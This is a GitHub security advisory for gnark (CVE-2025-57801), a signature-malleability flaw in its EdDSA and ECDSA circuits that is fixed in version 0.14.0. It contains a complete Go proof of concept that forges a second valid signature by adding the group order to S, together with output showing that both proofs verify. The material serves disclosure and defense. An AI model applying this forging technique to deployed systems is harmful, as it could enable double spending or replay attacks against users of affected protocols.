ghsa-95v9-hv42-pwrj
Vulnerability from github
Published
2025-08-22 20:58
Modified
2025-08-22 20:58
Summary
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
Details

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

```go package main

import ( "crypto/rand" "fmt" "math/big"

"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

te "github.com/consensys/gnark-crypto/ecc/twistededwards"

)

// Circuit type eddsaCircuit struct { Msg frontend.Variable gnark:",public" Pk stdEddsa.PublicKey gnark:",public" Sig stdEddsa.Signature }

func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil }

func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n }

// Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder()

var forged eddsaCrypto.Signature
forged.R = sig.R

s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)

buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged

}

func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness")

// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)

var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order

// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
    fmt.Printf("Circuit compilation failed: %v\n", err)
    return
}

pk, vk, err := groth16.Setup(ccs)
if err != nil {
    fmt.Printf("Trusted setup failed: %v\n", err)
    return
}

// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())

// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())

witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
    fmt.Printf("Failed to create witness1: %v\n", err)
    return
}

proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
    fmt.Println("Witness 1 (honest): Prover failed!")
} else {
    publicWitness1, err := witness1.Public()
    if err != nil {
        fmt.Println("Witness 1 (honest): Prover failed!")
    } else {
        err = groth16.Verify(proof1, vk, publicWitness1)
        if err != nil {
            fmt.Println("Witness 1 (honest): Prover failed!")
        } else {
            fmt.Println("Witness 1 (honest): Prover succeeded!")
        }
    }
}

// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)

witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
    fmt.Printf("Failed to create witness2: %v\n", err)
    return
}

proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
    fmt.Println("Witness 2 (forged): Prover failed!")
} else {
    publicWitness2, err := witness2.Public()
    if err != nil {
        fmt.Println("Witness 2 (forged): Prover failed!")
    } else {
        err = groth16.Verify(proof2, vk, publicWitness2)
        if err != nil {
            fmt.Println("Witness 2 (forged): Prover failed!")
        } else {
            fmt.Println("Witness 2 (forged): Prover succeeded!")
        }
    }
}

} ```

Result

```bash go run multiple_witnesses.go

13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded! ```

Credits

XlabAI Team of Tencent Xuanwu Lab

SJTU Group of Software Security In Progress

Prof. Yu Yu's Lab at SJTU

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/consensys/gnark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T20:58:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "In version before, `sig.s` used without asserting `0 \u2264 S \u003c order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark\u2019s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable  `gnark:\",public\"`\n\tPk  stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, \u0026hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S \u2192 S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := \u0026eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(\u0026w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(\u0026forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(\u0026w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu\u0027s Lab at SJTU",
  "id": "GHSA-95v9-hv42-pwrj",
  "modified": "2025-08-22T20:58:21Z",
  "published": "2025-08-22T20:58:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Consensys/gnark"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…